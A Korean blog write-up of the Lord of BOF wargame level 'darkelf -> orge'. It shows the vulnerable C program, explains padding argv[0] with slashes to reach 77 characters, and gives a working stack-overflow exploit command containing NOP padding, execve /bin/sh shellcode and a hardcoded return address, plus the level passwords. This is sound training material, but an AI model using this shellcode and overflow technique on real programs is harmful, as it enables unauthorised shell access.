Write up (Wargame)/LOB

[Lord Of Bufferoverflow] 7. darkelf -> orge 풀이

2022. 5. 18. 16:54
목차
  1. 탐색전
  2. 풀이
반응형

login : darkelf

password : kernel crashed

 

탐색전


cat orge.c

 

/*
        The Lord of the BOF : The Fellowship of the BOF
        - orge
        - check argv[0]
*/

#include <stdio.h>
#include <stdlib.h>

extern char **environ;

main(int argc, char *argv[])
{
	char buffer[40];
	int i;

	if(argc < 2){
		printf("argv error\n");
		exit(0);
	}

	// here is changed!
	if(strlen(argv[0]) != 77){
                printf("argv[0] error\n");
                exit(0);
	}

	// egghunter 
	for(i=0; environ[i]; i++)
		memset(environ[i], 0, strlen(environ[i]));

	if(argv[1][47] != '\xbf')
	{
		printf("stack is still your friend.\n");
		exit(0);
	}

	// check the length of argument
	if(strlen(argv[1]) > 48){
		printf("argument is too long!\n");
		exit(0);
	}

	strcpy(buffer, argv[1]); 
	printf("%s\n", buffer);

        // buffer hunter
        memset(buffer, 0, 40);
}

 

이전 문제에서 다른 점을ㅋㅋㅋㅋㅋ

귀엽게도 here is changed! 라고 알려준다.

 

argv[0]의 사이즈가 77이 되도록 풀어야 한다. (아니면 종료되니까)

나머지 조건은 전 문제와 동일하다.

 

argv[0]은 경로인걸로 알고있는데 이걸 어떻게... 할까? 싶다가도

/bin/sh와

/bin//sh가 같다는 말이 떠오르긴 한다.

 

cp orge myge

 

풀이


흠 그러면

./orge와 .///orge의 실행이 같을까 궁금해서

 

test를 한번 만들어봤다.

 

#include<stdio.h>

int main(int argc, char *argv[])
{
   printf("%s\n",argv[0]);
   return 0;
}

 

정말 별거 없는 test인데 이를 빌드하고

./test 했을 때와 .///test 했을 때는 같았다.

 

그래서, ./orge 그러니까 지금은 myge

./myge에서 .와 myge는 총 5글자니까 /을 72개 쳐주는 걸로 실행부터 파이썬으로 해봐야겠다.

 

 $(python -c "print '.'+'/'*72+'myge' ")

이런 느낌..?

 

인자도 A를 47개 + \xbf로 전달해주어 core dump를 일으켜보자

 

 

대충 

인자를 생각하면 이러한 메모리 구조를 가지는데 core dump가 난 시점에서 esp 는 ret 다음 주소에 위치한다.

 

그래서

표시한 부분들이 buf가 있는 부분이 될 것이고,

 

더 내려가서 있는 부분들이 인자의 위치가 될 것이다.

 

그래서 이전 문제에서 사용한 방법을 여기에 맞게 수정해보겠다.

우선 argv[1]의 시작주소는 0xbffffb9b가 될텐데 여기에 그냥 좀 더 널널하게 해서 0xbffffba0로 하고 nop을 채우겠다.

 

myge에서는 된다.

$(python -c "print '.'+'/'*72+'myge' ") $(python -c "print '\x90'*19+'\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80'+'\xa0\xfb\xff\xbf' ")

 

 

 

그러면 orge에서도 된다.

 

$(python -c "print '.'+'/'*72+'orge' ") $(python -c "print '\x90'*19+'\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80'+'\xa0\xfb\xff\xbf' ")

 

timewalker

 

짜잔~

반응형
  1. 탐색전
  2. 풀이
'Write up (Wargame)/LOB' 카테고리의 다른 글
  • [Lord Of Bufferoverflow] 9. troll -> vampire 풀이
  • [Lord Of Bufferoverflow] 8. orge -> troll 풀이
  • [Lord Of Bufferoverflow] 6. wolfman -> darkelf 풀이
  • [Lord Of Bufferoverflow] 5. orc -> wolfman 풀이
그믐​
그믐​
그믐​
neutrinox4b1
그믐​
전체
오늘
어제
  • 분류 전체보기 (288)
    • Write up (Wargame) (121)
      • Pwnable (60)
      • Reversing (0)
      • Web Hacking (8)
      • Forensic (1)
      • Cryptography (6)
      • LOB (10)
      • misc (0)
      • SF pwnable 기초 (10)
      • SF pwnable 심화 (1)
      • LOS (25)
    • Security (73)
      • 시스템 해킹(PWN, System) (21)
      • 리버싱(Reverse Engineering) (1)
      • 포렌식(Forensic) (3)
      • 암호학(Cryptography) (44)
      • 네트워크(Network) (1)
      • 임베디드(Emebedded) (0)
    • Develop & CS (38)
      • Algorithm & Data Structure (6)
      • Baekjoon (11)
      • C, C++ (8)
      • Python (2)
      • R (1)
      • etc (8)
    • 프로젝트(Project) (7)
      • 시간표&급식 파싱 (1)
      • 남방진동지수 (1)
      • 네트워크 해킹 (5)
    • Daily life (44)
      • My Book (10)
      • Book Review (1)
      • IT Review (1)
      • 일상 팁 (19)
      • 네트워크관리사 (2)
      • 근황 (11)
    • 수학&과학(Mathematics & Science.. (4)

인기 글

공지사항

  • Wargame, CTF별 검색 키워드 정리
hELLO · Designed By 정상우.
그믐​
[Lord Of Bufferoverflow] 7. darkelf -> orge 풀이
상단으로

티스토리툴바

단축키

내 블로그

내 블로그 - 관리자 홈 전환
Q
Q
새 글 쓰기
W
W

블로그 게시글

글 수정 (권한 있는 경우)
E
E
댓글 영역으로 이동
C
C

모든 영역

이 페이지의 URL 복사
S
S
맨 위로 이동
T
T
티스토리 홈 이동
H
H
단축키 안내
Shift + /
⇧ + /

* 단축키는 한글/영문 대소문자로 이용 가능하며, 티스토리 기본 도메인에서만 동작합니다.